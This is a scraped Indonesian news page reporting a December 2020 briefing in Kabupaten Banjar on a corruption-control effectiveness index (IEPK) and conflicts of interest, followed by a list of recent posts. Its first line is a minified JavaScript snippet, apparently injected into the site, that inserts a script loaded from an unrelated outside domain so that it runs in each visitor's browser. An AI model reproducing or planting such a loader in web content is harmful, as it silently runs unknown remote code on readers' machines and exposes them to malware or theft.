(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Sosialisasi IEPK, Sekda Banjar: Benturan Kepentingan Awal Perbuatan Korupsi


KANALKALIMANTAN.COM, MARTAPURA – Mengukur kemajuan pengelolaan resiko korupsi dan strategi pengawasan atas masalah korupsi di wilayah Kabupaten Banjar, Satuan Kerja Perangkat Daerah (SKPD) Kabupaten Banjar mengikuti kegiatan sosialisasi Indeks Efektifitas Pengendalian Korupsi (IEPK) yang dilaksanakan Inspektorat Banjar bersama Badan Pengawas Keuangan dan Pembangunan (BPKP) Provinsi Kalsel, Jum’at (11/12/2020) pagi.

Kegiatan sosialisasi dibuka Sekda Banjar HM Hilman dan sebagai narasumber dari BPKP Provinsi Kalsel Bidang Pengawasan Ngatno.

Ngatno menyebutkan ada beberapa hal yang dapat mengakibatkan seseorang atau golongan melakukan tindakan korupsi, diantaranya adanya kesempatan dan kebutuhan.

Ia berharap dengan bentuk perhatian pemerintah daerah dan peran serta BPKP dapat meminimalisir pengendalian risiko korupsi di lingkup Pemkab Banjar.

 

“Dengan koordinasi dan kolaborasi dari setiap elemen akan menghasilkan IEPK yang baik, Kabupaten Banjar harus punya integritas dengan niat menjadikan wilayahnya bebas dari tindak pidana korupsi,” harapnya.

IEPK merupakan salah satu model pengukuran efektifitas pengendalian korupsi di instansi dan badan usaha pemerintah dan upaya mengkuantifikasi kemajuan pengelolaan risiko korupsi di organisasi.

Sementara itu, Sekda Banjar mengatakan, benturan kepentingan merupakan awal dari perbuatan korupsi. Hal tersebut diutarakannya dalam sosialisasi benturan kepentingan di lingkup Pemkab Banjar dihadapan SKPD yang berhadir.

Dalam keterangannya hal tersebut didasarkan pada beberapa landasan hukum, seperti Peraturan Menteri Negara Pendayagunaan Aparatur Negara dan Birokrasi Reformasi nomor 37 tahun 2012 dan Peraturan Bupati Banjar nomor 29 tahun 2020.

“Dengan dibentuknya landasan hukum dalam penanganan benturan kepentingan diperlukan adanya pengawasan intensif dari pemerintah, berprinsip untuk mengutamakan kepentingan publik serta penguatan integritas dan budaya menolak segala hal yang bisa memicu timbulnya perbuatan nepotisme dan korupsi,” ucapnya. (mckominfobanjar/kanalkalimantan.com)

 


Al Ghifari

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

5 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

6 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

6 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

8 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

9 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

9 jam ago

This website uses cookies.